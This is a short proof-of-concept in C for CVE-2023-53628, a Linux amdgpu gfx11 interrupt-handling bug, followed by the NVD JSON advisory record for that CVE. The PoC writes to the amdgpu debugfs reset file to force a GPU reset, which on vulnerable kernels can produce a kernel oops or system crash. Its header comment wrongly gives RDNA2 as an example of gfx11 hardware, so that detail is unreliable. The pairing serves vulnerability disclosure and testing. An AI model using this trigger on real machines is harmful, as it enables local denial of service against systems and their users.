CVE-2023-53628

// CVE-2023-53628 PoC - Trigger GPU reset via debugfs // This PoC triggers the vulnerability by initiating a GPU reset // on a system with AMD gfx11 architecture GPU (e.g., RDNA2) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // Path to amdgpu debugfs reset file #define AMDGPU_DEBUGFS_RESET "/sys/kernel/debug/dri/0/amdgpu_reset" int main(int argc, char *argv[]) { int fd; char reset_cmd[] = "1"; // Trigger GPU reset ssize_t ret; printf("CVE-2023-53628 PoC - AMDGPU gfx11 Interrupt Handling Vulnerability\n"); printf("Attempting to trigger GPU reset on gfx11 architecture...\n"); // Open the debugfs reset file fd = open(AMDGPU_DEBUGFS_RESET, O_WRONLY); if (fd < 0) { perror("[-] Failed to open amdgpu debugfs reset file"); printf("[*] Make sure you have access to debugfs and amdgpu driver is loaded\n"); printf("[*] Try: mount -t debugfs debugfs /sys/kernel/debug\n"); return 1; } printf("[*] Triggering GPU reset...\n"); // Write to trigger GPU reset ret = write(fd, reset_cmd, strlen(reset_cmd)); if (ret < 0) { perror("[-] Failed to trigger GPU reset"); close(fd); return 1; } printf("[*] GPU reset triggered. Check kernel logs for call trace:\n"); printf(" - gfx_v11_0_hw_fini+0x23/0x1e0 [amdgpu]\n"); printf(" - gfx_v11_0_suspend+0xe/0x20 [amdgpu]\n"); printf(" - amdgpu_device_ip_suspend_phase2+0x240/0x460 [amdgpu]\n"); printf(" - amdgpu_device_gpu_recover.cold+0x548/0xce6 [amdgpu]\n"); close(fd); printf("[*] If vulnerable, system may crash or show kernel oops\n"); return 0; }

{"cve": {"id": "CVE-2023-53628", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:45.810", "lastModified": "2026-02-03T22:27:34.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: drop gfx_v11_0_cp_ecc_error_irq_funcs\n\nThe gfx.cp_ecc_error_irq is retired in gfx11. In gfx_v11_0_hw_fini still\nuse amdgpu_irq_put to disable this interrupt, which caused the call trace\nin this function.\n\n[ 102.873958] Call Trace:\n[ 102.873959] <TASK>\n[ 102.873961] gfx_v11_0_hw_fini+0x23/0x1e0 [amdgpu]\n[ 102.874019] gfx_v11_0_suspend+0xe/0x20 [amdgpu]\n[ 102.874072] amdgpu_device_ip_suspend_phase2+0x240/0x460 [amdgpu]\n[ 102.874122] amdgpu_device_ip_suspend+0x3d/0x80 [amdgpu]\n[ 102.874172] amdgpu_device_pre_asic_reset+0xd9/0x490 [amdgpu]\n[ 102.874223] amdgpu_device_gpu_recover.cold+0x548/0xce6 [amdgpu]\n[ 102.874321] amdgpu_debugfs_reset_work+0x4c/0x70 [amdgpu]\n[ 102.874375] process_one_work+0x21f/0x3f0\n[ 102.874377] worker_thread+0x200/0x3e0\n[ 102.874378] ? process_one_work+0x3f0/0x3f0\n[ 102.874379] kthread+0xfd/0x130\n[ 102.874380] ? kthread_complete_and_exit+0x20/0x20\n[ 102.874381] ret_from_fork+0x22/0x30\n\nv2:\n- Handle umc and gfx ras cases in separated patch\n- Retired the gfx_v11_0_cp_ecc_error_irq_funcs in gfx11\n\nv3:\n- Improve the subject and code comments\n- Add judgment on gfx11 in the function of amdgpu_gfx_ras_late_init\n\nv4:\n- Drop the define of CP_ME1_PIPE_INST_ADDR_INTERVAL and\nSET_ECC_ME_PIPE_STATE which using in gfx_v11_0_set_cp_ecc_error_state\n- Check cp_ecc_error_irq.funcs rather than ip version for a more\nsustainable life\n\nv5:\n- Simplify judgment conditions"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.3.3", "matchCriteriaId": "6D96A7FC-D812-4458-AEA8-3FF4023E6B75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.4:rc1:*:*:*:*:*:*", "matchCriteriaId": "38BC6744-7D25-4C02-9966-B224CD071D30"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/31b07aec4a2bdcab00770ea3a18efe49734ce153", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/720b47229a5b24061d1c2e29ddb6043a59178d79", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}